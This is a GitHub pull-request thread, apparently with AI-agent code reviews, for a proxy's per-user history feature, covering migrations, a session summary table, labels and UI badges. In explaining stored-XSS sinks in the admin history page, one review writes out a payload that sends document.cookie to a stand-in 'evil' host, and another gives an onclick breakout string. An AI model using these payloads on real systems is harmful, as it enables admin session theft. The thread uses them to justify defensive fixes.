feat: user-differentiation core (history per-user view, labels, session_summaries)

[jaidhyani]

Reimplements the user-differentiation core from #580 on current main (the infra concerns #580 bundled — config system, CLIENT_API_KEY rename, CLI commands — have since landed separately).

Key adaptation to current main

The reference branch (origin/user-differentiation) called the per-user attribution token user_hash. Since #580 was closed, main landed user_id on conversation_calls (PR #743/#577): extraction from the X-Luthien-User-Id header / JWT sub claim, the history user_id filter, and per-session user_ids aggregation in the history service. To avoid two parallel columns meaning the same thing, this PR uses user_id throughout rather than reintroducing user_hash.

That means scope item 1 ("user-hash extraction + propagation") was already largely on main; this PR adds the still-missing pieces:

What's done

• user_id on request_logs (migration 019): column + partial index, wired through the recorder (record_inbound_request, inbound→outbound inheritance), service, routes (user_id query param), and detail/list response models.
• session_summaries materialized table (migration 021): denormalized counts, models_used, preview_message, and attributed user_id. Maintained incrementally on each event write in EventEmitter._write_db via the new observability/session_summary.py — one upsert per event, inside an explicit transaction with the call upsert and event insert (all-or-nothing). Backfill of counts/models/user_id included (preview is populated going forward, matching the reference's rationale).
• user_labels table (migration 020): user_id → display_name. New history/user_labels.py service + endpoints: GET /api/history/users, GET /api/history/user-labels, PUT/DELETE /api/history/user-labels/{user_id}.
• History UI: per-user filter dropdown (populated from /api/history/users), deterministic-colored user badges on session cards, click-a-badge to assign/clear a display name. request_logs.html gets a user_id filter input + detail row.
• Paired Postgres + SQLite migrations (and copies into src/luthien_proxy/utils/sqlite_migrations/), per migrations/AGENTS.md. Partial-index WHERE user_id IS NOT NULL on both backends.
• Unit tests for the new service/extraction logic + endpoints, plus a _write_db atomicity test (forced summary-update failure rolls back the event insert); existing recorder/route tests updated for the shifted request_logs INSERT and new route param.
• ./scripts/dev_checks.sh green (ruff format/lint/docstrings, pyright 0 errors, unit tests pass).

Security note (XSS sinks in history_list.html)

Both client-controllable values rendered in the list — user_id (X-Luthien-User-Id / JWT sub) on the user badge, and session_id (X-Luthien-Session-Id) on the session card — are now carried in data-attributes with a single delegated click listener, never in an inline onclick. The earlier escapeHtml hardening (also escaping '/") is necessary for the attribute context but is not sufficient on its own for an inline event handler: the HTML parser decodes entities before the JS engine runs, so a quote in session_id inside onclick="viewSession('...')" would still break out. The data-attribute move is what actually closes that sink. (An earlier commit message claimed the escapeHtml change alone closed the session_id sink — that was wrong; this is the correction.) Overlap with the broader escapeHtml-class PR #781 on this file is known; whichever merges second reconciles (prefer the DOM-construction version of any shared sink).

Follow-ups (out of scope for this PR)

• Bounded EventEmitter rework — feat: user differentiation — identify, filter, and label users across the gateway #580's session_summaries design maintained the table via a batched drain loop, which is itself the bounded-emitter rework. This PR keeps the table but maintains it from the existing per-event write path, so the rework can land separately.
• Read-path migration — the history list still aggregates conversation_events for its main query (the existing FTS/filter path is untouched). session_summaries is populated and read by /api/history/users; switching the full list read path onto it is a natural follow-up.
• models_used as comma-joined text — fine for typical sessions (≤2 models; O(n) LIKE membership scan is trivial at that size). If any deployment shows high model cardinality per session, move it to a side table.
• /api/history/users limit-without-search UX — the endpoint paginates distinct users but offers no search; revisit if user counts grow large.
• prompt() in editUserLabel — admin-only and blocked inside iframes; replace with an inline editor if that becomes a constraint.
• Postgres-only DML smoke-test gap — the incremental upsert / atomicity are verified against in-memory SQLite; the Postgres path relies on the migration-sync CI lane. Stays as-is unless a PG CI lane for this DML is added.
• Config system / CLIENT_API_KEY rename / CLI commands (already on main); Railway deploy; docs overhaul.

Notes for reviewers

• call_count is defined as "count of transaction.request_recorded events" in both the incremental updater and the backfill, so the two agree.
• models_used dedupe uses LIKE ... ESCAPE '\' with %/_/\ escaped in the pattern operand, and assumes model names contain no comma (documented in session_summary.py).
• The session_summaries upsert SQL runs unchanged on both backends (the SQLite wrapper translates $N and strips :: casts); verified against a real in-memory SQLite DB. The Postgres↔SQLite migration-sync integration test requires a live Postgres and runs in CI.

🤖 Generated with Claude Code

[claude]

Review — feat: user-differentiation core

Solid PR overall: scope is well-bounded, the migration story is paired (PG + SQLite), the incremental upsert SQL is portable, and test coverage on the new service / extractor / route paths is good. A few things worth addressing before merge.

---

🔴 Stored XSS in the history UI (highest priority)

src/luthien_proxy/static/history_list.html line 833–837 defines escapeHtml as:

function escapeHtml(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

This escapes <, >, & — but not ' or \". The new badge code interpolates uid into an HTML attribute and a JS string literal at lines 643–644:

title=\"Click to set a display name · ${escapeHtml(uid)}\"
onclick=\"editUserLabel('${escapeHtml(uid)}', event)\">${escapeHtml(label)}</span>

uid comes from the X-Luthien-User-Id header / JWT sub claim — i.e. directly attacker-controlled on every /v1/messages call. An attacker who can hit the gateway can persist a user_id like x'); fetch('//evil/?c='+document.cookie); // into conversation_calls → session_summaries, and the next admin that opens /history executes it (stored XSS in an authenticated admin context — admin session cookie is exfiltratable).

The same pattern exists for session_id (line 723 — pre-existing), so this also widens an existing exposure. Recommendation:

• Fix the badge handlers to use data-uid attributes + a single delegated click listener, e.g.:

  return `<span class=\"user-badge\" data-uid=\"${escapeHtml(uid)}\" style=\"...\" title=\"...${escapeHtml(uid)}\">${escapeHtml(label)}</span>`;
  // then on container: addEventListener('click', e => { const t = e.target.closest('.user-badge'); if (t) editUserLabel(t.dataset.uid, e); });

• And/or harden escapeHtml to also escape ' (') and \" ("). Worth doing in this PR since you're adding new untrusted-input sinks.

Tracking this as its own follow-up would also be fine since the session_id case is pre-existing, but at minimum the new user_id sinks should be safe.

---

🟡 models_used LIKE check is unescaped

observability/session_summary.py — the dedupe check:

WHEN ',' || session_summaries.models_used || ',' LIKE '%,' || $6 || ',%'
    THEN session_summaries.models_used

If a model name ever contains % or _, the LIKE comparison will silently match the wrong row (e.g. gpt_4 would match gpt-4). Today's Anthropic/OpenAI model names don't use these chars, but with custom backends / Bedrock ARNs / staging slugs this is an easy footgun. Either:

• Document the assumption ("model names must not contain SQL LIKE meta-characters"), or
• Escape (REPLACE(REPLACE($6, '_', '\\_'), '%', '\\%') with ESCAPE '\\'), or
• Read–modify–write in Python (you already accept the txn-scoped serialization in the docstring).

Minor severity but flagging while the file is fresh.

---

🟡 Backfill user_id pick is non-deterministic

Both migrations do:

(SELECT cc.user_id FROM conversation_calls cc WHERE cc.session_id = ce.session_id AND cc.user_id IS NOT NULL LIMIT 1)

No ORDER BY. For sessions where multiple calls carry different user_ids, the backfilled choice is whatever the planner returns first — and the incremental path picks "first non-null seen", which is also order-dependent but at least temporally meaningful (COALESCE(existing, new) means earliest-write wins). If the spec is "first call's user_id" you probably want ORDER BY cc.created_at LIMIT 1 in the backfill to match. Worth a comment if you intentionally accept the indeterminism.

---

🟢 Smaller observations

1. list_users IN-clause builds N placeholders (user_labels.py:38–41). With limit=5000 this generates a 5000-placeholder query; on Postgres WHERE user_id = ANY($1::text[]) is cleaner and avoids the per-call SQL string construction. Not a correctness issue.
2. extract_preview truncation (session_summary.py:99) slices at codepoint offset, which can land in the middle of a grapheme cluster (combining marks, ZWJ emoji sequences) — fine for an admin preview but worth knowing. Also: len(preview) == PREVIEW_MAX_LENGTH + 3 because of the ... suffix; the test test_truncates_long_text already asserts this. If a … (single codepoint) is preferable to ... for display, it'd both look better and keep length at PREVIEW_MAX_LENGTH + 1.
3. editUserLabel UI refresh correctly calls applyFilters() + populateUserFilter(), but if a brand-new user_id arrives via newly-loaded sessions (not yet in allKnownUsers), the dropdown will lag until the next page load. Probably fine for an admin tool, but a loadUsersAndLabels() after loadSessions() would close the gap.
4. preview_message is written but not yet read by the main list query (acknowledged as deferred in the PR description). Just confirm the next PR that flips the read path is tracked on Trello so this doesn't become dead-weight maintenance cost.
5. update_session_summary is in the event-write txn — good, that's the right call. One side effect: if session_summaries table is somehow missing (skipped migration) every event write would fail. The migration check at startup handles that, but worth noting that an event-write regression risk is now coupled to this table existing.
6. gateway_routes / anthropic_processor wiring: record_inbound_request(... user_id=user_id ...) and inbound→outbound inheritance look correct. ✅
7. Test coverage looks good — extraction helpers, upsert semantics (counts, COALESCE user_id, model dedupe), route happy + blank-display-name path, and recorder INSERT positional-arg shift are all covered.

---

Style / conventions

• CLAUDE.md says "default to no comments" and "don't explain WHAT, only non-obvious WHY." The new code is generally good on this, though session_summary.py has a couple of comments that re-explain the code (e.g. lines 73–76 / 99–102). Not blocking — most of them are genuinely the why.
• All new code is typed; pyright + ruff + tests reportedly green; changelog fragment present. ✅

Happy to re-review once the XSS fix is in.

[claude]

Review — user-differentiation core (PR #780)

Solid PR. Scope is well-contained, the materialized table is maintained against documented invariants, tests cover the tricky escaping edges (the LIKE-metachar test is the kind of thing that usually catches us in production), and the Postgres↔SQLite parity is careful. Findings below; nothing rises to a blocker.

Bugs / correctness

1. session_summaries upsert isn't atomic with the event insert — observability/emitter.py:244-289 runs three statements (conversation_calls upsert → conversation_events insert → update_session_summary) inside db_pool.connection() but no explicit transaction. asyncpg/aiosqlite auto-commit per statement. If the summary update raises:

   • The event row is already persisted, so EventEmitter.dropped_db_writes is misleading (we lost the summary, not the event).
   • The materialized row drifts from the source-of-truth aggregates until either (a) the next event for that session arrives, or (b) someone re-runs the 021 backfill (which won't happen in production — INSERT … ON CONFLICT DO NOTHING / INSERT OR IGNORE skips drifted rows).

   Minimal fix: wrap the three statements in async with conn.transaction(): (or equivalent). At minimum, catch summary errors separately with a distinct counter / log so the meaning of dropped_db_writes stays honest.

2. Pre-existing XSS still exploitable, and this PR widens the attack surface — history_list.html:727 keeps the inline pattern:

   <div class="session-card" onclick="viewSession('${escapeHtml(session.session_id)}')">

   escapeHtml now (correctly!) encodes ' to '. But inside an onclick attribute, the HTML parser decodes entities before JS sees the string, so a session_id of ');alert(1);// decodes to viewSession('');alert(1);//') and executes. Session IDs are client-controllable (X-Luthien-Session-Id header). The PR explicitly noticed this for user_id and used a delegated data-uid listener — same treatment is needed for session_id. Suggested fix: give .session-card a data-session-id attribute and wire a delegated click handler, identical to the user-badge pattern you already added.

3. set_label length check is enforced at the route boundary only — history/user_labels.py:62-87 declares MAX_DISPLAY_NAME_LENGTH = 255 and the doc says "the API bounds input", but set_label itself only rejects blanks. Pydantic enforcement is fine for the current single caller; just worth a one-line guard so the service is self-defending (matches the file's own intent: "Kept here so the service can enforce non-blank input even when called outside the route").

Performance / scale

4. models_used is an unbounded comma-joined text column (session_summary.py:128-153, migration 021 schema). For long-lived sessions hitting many distinct models, the row grows without limit, and each insert re-runs an O(n) LIKE membership scan. Probably fine for typical sessions (≤2 models), but worth a comment / soft cap or a follow-up to switch to a side table if any deployment ends up with high cardinality.

5. Comma-delimited storage breaks on commas in model names. Not a real-world risk for Anthropic/OpenAI model strings, but if a custom backend ever produces a model name with a comma, the dedupe and the readback both go wrong. A LIKE wildcard test exists; consider adding a comma test too, or document the assumption.

6. SQLite index on request_logs.user_id is a full index (migrations/sqlite/019) while Postgres uses a partial index WHERE user_id IS NOT NULL. SQLite supports partial indexes (3.8+); cheap to make these symmetric and skip indexing the (likely dominant) NULL rows.

Tests

Coverage is strong overall — the LIKE-metachar test, COALESCE semantics, judge-evaluation exclusion, and update_session_summary against a real in-memory SQLite are all the right shape. Two gaps:

• test_session_summary doesn't cover what happens when the upsert fails mid-event (relates to bug chore(logging): replace prints with structured logging #1). A unit test asserting the chosen atomicity contract would lock the behavior in.
• No test asserts that the SQL emitted by update_session_summary actually parses on Postgres. The "verified against in-memory SQLite" caveat in the PR body is honest — the migration-sync integration test exercises DDL only, not this DML. If a Postgres-only CI lane exists, worth adding a smoke test there.

Minor / nits

• history/routes.py:153 — limit=500, max=5000 for /api/history/users with no labeling-friendly search; on deployments with many users the dropdown UX will degrade. Probably fine for now, but flagging since the data model will support it eventually.
• request_log/service.py:129-141 has odd "patch the clause we just appended" logic for search. It works but is hard to read; a direct two-param build (_add taking a value list) would be cleaner. Not new in this PR — just noticed while reviewing the user_id addition.
• history_list.html:651 — editUserLabel uses prompt(). Fine for admin-only, but prompt() is increasingly blocked in cross-origin/iframed contexts; worth knowing if the admin UI ever gets embedded.

Summary

Recommend addressing #1 (transaction wrap or distinct error tracking) and #2 (session_id XSS — same delegated-listener fix already in this PR for user_id) before merge. The rest are follow-ups.

[jaidhyani]

Addressed the second review batch in ef2c4ba:

• chore(logging): replace prints with structured logging #1 atomicity — _write_db now wraps the call upsert + event insert + session_summaries update in conn.transaction(), so a summary-update failure rolls back the event insert instead of leaving the materialized table permanently drifted. Added TestWriteDbAtomicity (forced failure → no event/call/summary rows; happy path → all present).
• Remove PolicyEngine and inline Redis setup #2 session_id XSS — moved the session-card click off the inline onclick="viewSession('${...}')" onto a data-session-id attribute read by the existing delegated listener. You were right that the escapeHtml hardening alone did not close this: in an inline event-handler the HTML parser decodes ' back to ' before the JS engine runs, so HTML-entity escaping is the wrong escaping for that context. Corrected the earlier inaccurate claim in the PR body. (Overlap with fix(ui): close stored-XSS class in admin UI static assets #781 on this file noted there; whichever merges second reconciles toward the DOM-construction version.)
• Add Claude Code GitHub Workflow #6 index parity — sqlite migrations 019 and 021 now use partial indexes WHERE user_id IS NOT NULL, matching Postgres. (021 had the same asymmetry as the flagged 019, so fixed both.)
• Fix deprecated utcnow usage in tests #5 models_used — documented the no-comma-in-model-name assumption in session_summary.py.

Declined #3 (service-level length guard). The route's UserLabelRequest Pydantic model already enforces max_length=MAX_DISPLAY_NAME_LENGTH at the request boundary, so over-length input is rejected with a 422 before set_label runs. Length is a boundary/storage constraint owned by the route; the service legitimately owns only the semantic non-blank invariant (which Pydantic can't express). Adding a redundant length check in the service for a hypothetical out-of-route caller would be exactly the belt-and-suspenders the project's KISS norm avoids. The service doc comment ("the API bounds input") is accurate as written.

Deferred items (#4 unbounded models_used/O(n) scan, /api/history/users search UX, prompt() in editUserLabel, the Postgres-only DML smoke-test gap) are listed under "Follow-ups" in the PR body.

dev_checks is green.

---

Posted by Claude Code (Opus 4.8 (1M context))

[claude]

Code review (Claude)

Reviewed the full diff against origin/main. Overall a well-scoped, well-tested change with thoughtful SQL and clearly-explained design choices in code comments. One concrete XSS sink to flag, plus a few smaller items.

🔴 XSS: request_logs.html adds an unescaped sink for data.user_id (and re-renders the existing unescaped session_id)

src/luthien_proxy/static/request_logs.html:261-265:

meta.innerHTML = `
    <div class=\"meta-item\"><label>Transaction:</label> <span class=\"mono\">${data.transaction_id}</span></div>
    <div class=\"meta-item\"><label>Session:</label> <span class=\"mono\">${data.session_id || 'none'}</span></div>
    <div class=\"meta-item\"><label>User:</label> <span class=\"mono\">${data.user_id || 'none'}</span></div>
`;

data.user_id is attacker-controllable (X-Luthien-User-Id header / JWT sub) and goes straight into innerHTML. Same with data.session_id — pre-existing, but this PR re-touches the block. The PR description acknowledges the overlap with #781 and says "whichever merges second reconciles," which is fine if the merge order holds. If #781 stalls or #780 lands first, this is a stored XSS the moment the new user_id filter is exercised on a session whose X-Luthien-User-Id contained markup. Suggest one of: (a) coordinate to land #781 first; (b) drop in a one-line escapeHtml here even though #781 will rewrite the function; (c) switch this block to textContent per row.

The history_list.html story is much better — data-uid + delegated listener + hardened escapeHtml. No issues there.

⚠️ EventEmitter._write_db exception filter is Postgres-only; new third write widens the gap

src/luthien_proxy/observability/emitter.py:299:

except (OSError, asyncpg.PostgresError, asyncpg.InternalClientError) as e:
    EventEmitter.dropped_db_writes += 1

Pre-existing, but update_session_summary is a new third statement inside the transaction with much more SQL surface (LIKE/ESCAPE/REPLACE/COALESCE). On the SQLite path, a failure raises sqlite3.Error / aiosqlite.Error, which this clause won't catch. The exception escapes _write_db and is silently absorbed by asyncio.gather(return_exceptions=True) in emit() — and dropped_db_writes doesn't tick. The atomicity test covers Postgres-shaped errors via mocked RuntimeError; the SQLite branch is unobserved here. Worth broadening the except (or wrapping the body in a generic except Exception since this is fire-and-forget) and adding a SQLite-specific dropped-counter test.

🟡 Drop-on-summary-failure trade-off

The new transactional wrap means a session_summaries write failure rolls back the canonical conversation_events row. The comment explains the reasoning (drift > inconsistency) and the test verifies it. Reasonable choice — flagging only because the alternative (savepoint around just the summary update) would preserve the event row even when the summary blows up. Whichever way, document the choice in dev/context/decisions.md so future-you knows why an event went missing if a session_summary.py regression ever lands.

🟡 MAX_DISPLAY_NAME_LENGTH is declared in the service but only enforced at the route

src/luthien_proxy/history/user_labels.py:19:

# Matches the user_labels.display_name column (no length limit in DDL, but the
# API bounds input). Kept here so the service can enforce non-blank input even
# when called outside the route.
MAX_DISPLAY_NAME_LENGTH = 255

set_label only checks cleaned == \"\". The 255-char bound is enforced by Pydantic on UserLabelRequest, not by set_label. If anything else ever calls set_label directly, the column is unbounded. Either add if len(cleaned) > MAX_DISPLAY_NAME_LENGTH: raise ValueError(...) or drop the constant's "service can enforce" framing.

Smaller notes

• update_session_summary mixes literal +1 and parameter + $3 increments (session_summary.py:148-150) — correct but slightly awkward; consider all-literal or all-parameter for one-eyed reads.
• extract_preview swallows (TypeError, ValueError) on max_tokens and then proceeds to extract a preview — a malformed max_tokens won't be treated as a probe. Edge case; unlikely in practice.
• Postgres backfill string_agg(DISTINCT m.model, ',') has no ORDER BY — order is technically nondeterministic. Not user-visible (LIKE-based dedupe doesn't care about order), but if you ever read back "first model" semantically, add an ORDER BY.
• test_pagination in test_user_labels.py orders by user_id string-ascending; safe for user0..user9, but user10 would sort before user2. Fine for the current N=5 test.
• No source-level XSS regression guard exists for history_list.html in this PR — test_static_xss_guards.py is in fix(ui): close stored-XSS class in admin UI static assets #781. If fix(ui): close stored-XSS class in admin UI static assets #781 doesn't land alongside, consider porting one or two assertions (no inline-handler interpolation, escapeHtml escapes both quotes) into this PR's test suite as a guard.

Things I liked

• LIKE-based dedupe with REPLACE(REPLACE(REPLACE($6, '\\\\', '\\\\\\\\'), '%', '\\\\%'), '_', '\\\\_') + ESCAPE '\\\\' is exactly right — and the test (test_model_names_with_like_metacharacters_not_conflated) proves it works.
• session_summary.py doc comments explain why (probe filtering, comma assumption, COALESCE-vs-overwrite semantics) — future maintainers will thank you.
• Postgres↔SQLite backfill parity is careful: same call_count definition (request_recorded count), same earliest-call-user_id-wins, matched partial indexes.
• Single delegated click listener for both badge + card is a much cleaner sink than per-row inline handlers.
• Atomicity test (test_summary_failure_rolls_back_event_insert) is the right test to write here.

---

🤖 Generated with Claude Code (claude-opus-4-7)

[jaidhyani]

Thanks — this review predates the #781 merge; triaged each item against the now-merged state (4fa26a1, on top of the #781 reconciliation merge 811abc5):

• 🔴 request_logs.html user_id/session_id XSS — already resolved. Merging fix(ui): close stored-XSS class in admin UI static assets #781 reconciled this file to DOM construction; the detail meta now builds rows via a makeMetaItem(label, value) helper using textContent (your suggested option (c)), and I added the User: row through the same helper. No innerHTML interpolation of user_id/session_id remains. history_list.html likewise reconciled to fix(ui): close stored-XSS class in admin UI static assets #781's DOM-constructed renderSessions, with the user badge rebuilt as a DOM node (userBadgeElement: textContent/dataset/addEventListener). test_static_xss_guards.py (from fix(ui): close stored-XSS class in admin UI static assets #781) now covers both files and passes.
• ⚠️ _write_db exception filter was Postgres-only — real bug, fixed. Added sqlite3.Error to the except tuple so a failed SQLite write (notably the new SQL-heavy session_summaries update) ticks dropped_db_writes instead of being silently absorbed by emit()'s gather(return_exceptions=True). Kept it driver-specific rather than bare except Exception so genuine logic bugs still propagate (preserves test_write_db_does_not_catch_unrelated_exceptions). Added test_sqlite_write_error_increments_dropped_counter.
• 🟡 Document the drop-on-summary-failure trade-off — added to dev/context/decisions.md (why we roll back the canonical event rather than keep it via a SAVEPOINT: drift is silent and unrepairable by the backfill; a dropped event is counted + logged).
• 🟡 MAX_DISPLAY_NAME_LENGTH framing — corrected the comment. Length is enforced at the route boundary by UserLabelRequest (Pydantic max_length); the service owns only the non-blank semantic invariant. This is consistent with declining the service-level length guard last round, so I fixed the misleading "service can enforce" wording rather than adding the redundant check.
• Postgres backfill string_agg ORDER BY — added ORDER BY m.model for deterministic aggregation (order isn't semantically meaningful — LIKE dedupe is order-insensitive — but determinism is cheap).

Not changed (with reasons): +1 vs + $3 increments — $3 is the conditional call_inc, so it can't be a literal. extract_preview swallowing a malformed max_tokens then continuing — genuine edge case but vanishingly unlikely (Claude Code probes are max_tokens=1); left as-is. test_pagination string-sort — fine at N=5. The deferred items (models_used side-table, /users search UX, prompt()) remain under "Follow-ups" in the PR body.

dev_checks is green.

---

Posted by Claude Code (Opus 4.8 (1M context))

[claude]

Test comment from review agent — about to post a long review.

[claude]

Apologies for the test comment above — full review follows in the next comment. Posting the multi-section review now, broken across a couple of comments because the shell sandbox is hostile to markdown heading characters.

[claude]

See review below.

[claude]

Review part 1 of 2:

Solid work overall. The core design (incremental upsert wrapped in an explicit transaction, with a regression-guard test that forces a sqlite3.Error from update_session_summary) is well thought out. The XSS rationale in the PR description is correct: DOM-construction is the right fix, and escapeHtml alone really would not close the inline-onclick sink. Migration parity (including the partial index on SQLite 019) and matched-prefix backfill semantics look good.

LIKELY / WORTH FIXING

1. request_log/service.py search-clause hack (lines 129-141). The _add helper does clause.replace with a single substitution string, which replaces all ? occurrences with the same positional placeholder. The search clause patches around that by re-incrementing the param counter, appending a second copy of search, and overwriting conditions[-1] with hand-built indices. Works but fragile: a future maintainer adding another multi-? clause will hit the same trap. Suggest a small _add_n(clause, *values) helper that handles any number of ? placeholders generically, and have _add delegate to it.

2. User-filter dropdown ordering and truncation (user_labels.list_users + history_list.html). list_users orders by raw user_id (opaque token), default limit=500 / max 5000, and populateUserFilter re-sorts client-side by uid too. On a deployment with many opaque tokens, labeled users (Alice) get hidden among unlabeled aaa1/aaa2 instead of floating to the top of the dropdown, and if distinct user count exceeds the limit some users silently disappear from the filter. Cheap mitigation: LEFT JOIN user_labels ul ON ul.user_id = ss.user_id ORDER BY ul.display_name NULLS LAST, ss.user_id. Keeps page 1 useful even when total > limit.

3. Per-event write amplification. Every event now does (a) upsert on conversation_calls, (b) insert on conversation_events, and (c) a non-trivial CASE+REPLACE+LIKE upsert on session_summaries. On policy-heavy sessions the third statement is the widest SQL surface inside the hot path. The PR acknowledges the trade-off vs. a batched drain loop, but a latency note or telemetry on _write_db duration would help catch a regression here before users do. (Not blocking.)

[claude]

Review of PR 780 (user-differentiation core) — part 1/2

Solid PR overall. The transactional consistency, XSS hardening, and backfill/incremental alignment all show care, and test coverage on the new surfaces is strong. A handful of nits and one race I would recommend tightening.

Strengths

• Atomicity is right. Wrapping the call upsert + event insert + summary upsert in conn.transaction() (emitter.py:246) is the correct fix — without it, a session_summaries failure would silently desync from conversation_events, and the backfill's ON CONFLICT DO NOTHING cannot repair drift. The new TestWriteDbAtomicity cases prove the contract end-to-end against a real SQLite pool, not a mock — exactly the right test shape for this.
• XSS hardening via DOM construction is thorough. Moving session_id off inline onclick onto data-session-id + a delegated listener is the actual fix for the attribute-context sink (HTML-entity escaping is the wrong escaping for inline event handlers — entities are decoded before JS evaluates). The badge implementation in userBadgeElement (textContent, dataset, addEventListener, hash-derived color) is inert by construction. The inline comments explaining why are helpful.
• LIKE-wildcard escape in models_used membership (session_summary.py:155-157) — the REPLACE-cascade for backslash / percent / underscore plus ESCAPE backslash is correct, and test_model_names_with_like_metacharacters_not_conflated covers the right adversarial cases (claude_x vs claudeax, m% vs mZ). Glad this got caught before merge.
• Backfill / incremental predicates are deliberately aligned, with comments noting the agreement (call_count definition, COALESCE semantics for user_id, judge-evaluation exclusion). That is exactly the right discipline for a materialized table.

Issues / Suggestions

1. Race between loadUsersAndLabels() and loadSessions() (history_list.html:883-884). Both are called at script start without coordination. renderSessions -> userBadgeElement -> userDisplay(uid) reads userLabels[uid]. If sessions finish first (likely — the sessions endpoint also drives the heavy filter-count UI), badges show the truncated uid instead of the assigned label until the next render trigger (filter change, label edit, etc.). Suggest awaiting loadUsersAndLabels() before loadSessions(), or running both with Promise.all and re-rendering once labels arrive. Worth fixing because the whole point of the labels system is that admins see names instead of opaque uids on the list page.

2. extract_preview truncation off-by-3 vs docstring (session_summary.py:90-91). text[:PREVIEW_MAX_LENGTH] + "..." produces length PREVIEW_MAX_LENGTH + 3; the docstring on line 59 says 'truncated to PREVIEW_MAX_LENGTH'. test_truncates_long_text actually asserts len(preview) == PREVIEW_MAX_LENGTH + 3, so behavior is intentional — just fix the doc, or trim with text[:PREVIEW_MAX_LENGTH - 3] + "..." if 200 is the intended hard cap.

3. Content-block text guard in extract_preview (session_summary.py:82). b.get("text") accepts any truthy value, but " ".join(texts) requires strings. A malformed payload where text is a dict would TypeError here. In practice Anthropic content blocks always carry string text, but tightening to isinstance(b.get("text"), str) and b["text"] is one extra character and survives weird inputs.

4. models_used order is non-deterministic in the backfill. Postgres string_agg(DISTINCT m.model, ',') and SQLite GROUP_CONCAT(DISTINCT ...) do not enforce ORDER BY without one. The incremental updater appends in arrival order. So a session backfilled at migration time vs grown incrementally afterwards can show models in different orders — cosmetic, but if any reader assumes the order is stable, that breaks. Adding ORDER BY to the backfill subqueries would make them match the incremental semantics ('first-seen wins, then arrival order').

(continued in part 2/2)

[claude]

Review part 2 of 2:

SMALLER / NICE-TO-HAVE

4. models_used as comma-joined text with LIKE-ESCAPE dedup is fine for current model IDs, but the no-comma-in-model-name invariant is silent. A defensive check in extract_model (assert or strip) would convert a future corruption bug into an immediate boundary rejection.

5. populateUserFilter does sel.value = selected after replacing options, which silently no-ops if the previously-selected user is not in the freshly-loaded page (e.g. paged out). The currentUserId state then drifts from the dropdown displayed value. Consider syncing back after population.

6. editUserLabel uses optimistic local-state mutation and rolls back userLabels[uid] on error, but does not call populateUserFilter() after rollback, so a failed rename leaves the dropdown showing the new (rolled-back-in-state) label until next reload. Cheap fix: call populateUserFilter() in the catch as well.

7. delete_user_label always returns deleted:true even when the row did not exist. Harmless (admin-only), but RETURNING (PG) or changes() (SQLite) would let you return an honest 404 if you want it.

8. Naming: /api/history/users returns distinct user_ids plus labels, while /api/history/user-labels returns only labels. The two are easy to confuse from the names alone; worth a cross-reference in the doc-comments or unifying the read paths.

STRENGTHS WORTH CALLING OUT

• TestWriteDbAtomicity is the right shape: testing both the rollback path AND the SQLite-error path (the regression guard for the widened except is the test I would have asked for).
• test_model_names_with_like_metacharacters_not_conflated is the kind of edge case that almost never gets written; nice to see it covered.
• The user_id COALESCE semantics (first non-null wins) are consistent between the backfill (ORDER BY cc.created_at LIMIT 1) and the incremental path (COALESCE(session_summaries.user_id, EXCLUDED.user_id)). That parity is what makes the materialized table trustworthy.

Overall: ready to merge after (1) and (2); the rest are polish.

Generated with Claude Code

[claude]

Review of PR 780 — part 2/2

Issues / Suggestions (continued)

5. MAX_DISPLAY_NAME_LENGTH only enforced at Pydantic boundary. The user_labels.display_name column has no length constraint in DDL; the cap lives only in the route's UserLabelRequest model and the service constant. Comment in user_labels.py:18-19 acknowledges this and it is a reasonable boundary-validation pattern. If you want defense in depth against any future direct-DB writer or admin migration script, a CHECK (length(display_name) <= 255) on both backends is cheap. Not blocking.

6. loadUsersAndLabels partial failure swallows userLabels (history_list.html:592). On a fetch error, allKnownUsers = [] is reset but userLabels is whatever it was before (initially {}). Minor — and the comment says it is non-critical — but worth resetting both to keep populateUserFilter's label-substitution and userBadgeElement's lookups consistent.

7. PR scope — bundles XSS hardening with the feature. Per CLAUDE.md's 'One PR = One Concern' guidance, the security commits (17d44e2, ef2c4ba) are arguably a separate concern from the user-differentiation feature, and bundling means the XSS fix does not get its own COE. The PR description acknowledges the overlap with fix(ui): close stored-XSS class in admin UI static assets #781 and the earlier wrong commit message. Process note only — the actual fixes are sound, and you have explicitly called out the correction. Worth keeping in mind for next time: when a 'fix while we are here' emerges mid-feature, split it.

8. prompt() + alert() in editUserLabel — brittle UX (blocking, iframe-incompatible), already flagged as follow-up. OK.

Nits

• class _Conn(Protocol) (session_summary.py:34) is private-named but used as a parameter type on an exported function. Either drop the underscore or annotate as Any — current shape means importers cannot reuse the alias even when they would want to.
• update_session_summary's preview_message = COALESCE(...) semantics mean a session's first non-probe user message wins forever; if the very first event is a non-request event that the call later attaches to via transaction.request_recorded, preview gets set on that later event. That is already what you intended — calling it out so future readers do not try to 'fix' it.
• _is_policy_event uses startswith('policy.judge.evaluation'), which also excludes hypothetical policy.judge.evaluations (plural). Probably fine, just noting.

Test coverage

Genuinely good. Things I would flag as worth adding if you want belt-and-braces:

• An end-to-end test that the history-list UI populates badge text from userLabels after labels load (covers fix to issue 1 above).
• A test for extract_preview when request is missing entirely (currently covered by the not isinstance(request, dict) return path, but no explicit test).

Nothing here blocks merge. Recommend tightening issue 1 (the race) before this lands on a deployment with many shared sessions, since the symptom is 'labels do not appear' which is exactly what this feature is supposed to deliver.

[jaidhyani]

Thanks — addressed in d717f39 (against current HEAD, post-#781-merge):

Fixed before merge (the two you flagged as recommended):

• Race between loadUsersAndLabels() and loadSessions() — real bug, fixed. Init now awaits loadUsersAndLabels() before loadSessions(), so badges render with assigned display names on first paint instead of truncated uids. (loadUsersAndLabels swallows its own errors, so sessions still load if the labels fetch fails.)
• extract_preview truncation doc off-by-3 — fixed the docstring to state the value can be up to PREVIEW_MAX_LENGTH + 3 (the ... is an intentional truncation indicator; the test already pinned that). Kept the visible ellipsis rather than shrinking the cap.

Also fixed (cheap + correct):

• extract_preview content-block guard → isinstance(b.get("text"), str) so a malformed block (non-string text) can't TypeError the join. Added a test.
• _Conn private Protocol → use the public utils.db.ConnectionProtocol on the exported signature (no circular import; utils.db doesn't import observability).
• populateUserFilter value-drift → the active currentUserId is re-added as an option and re-selected if it paged out, so the dropdown stays in sync with the filter instead of snapping to "All users".
• editUserLabel failure path now re-renders dropdown + list after rollback; loadUsersAndLabels resets userLabels (not just allKnownUsers) on fetch error.
• SQLite 021 backfill: added a comment explaining order is unspecified (GROUP_CONCAT(DISTINCT) takes no ORDER BY; order isn't significant — the Postgres backfill already has ORDER BY m.model).
• Added extract_preview tests for missing-request and non-string-text-block.

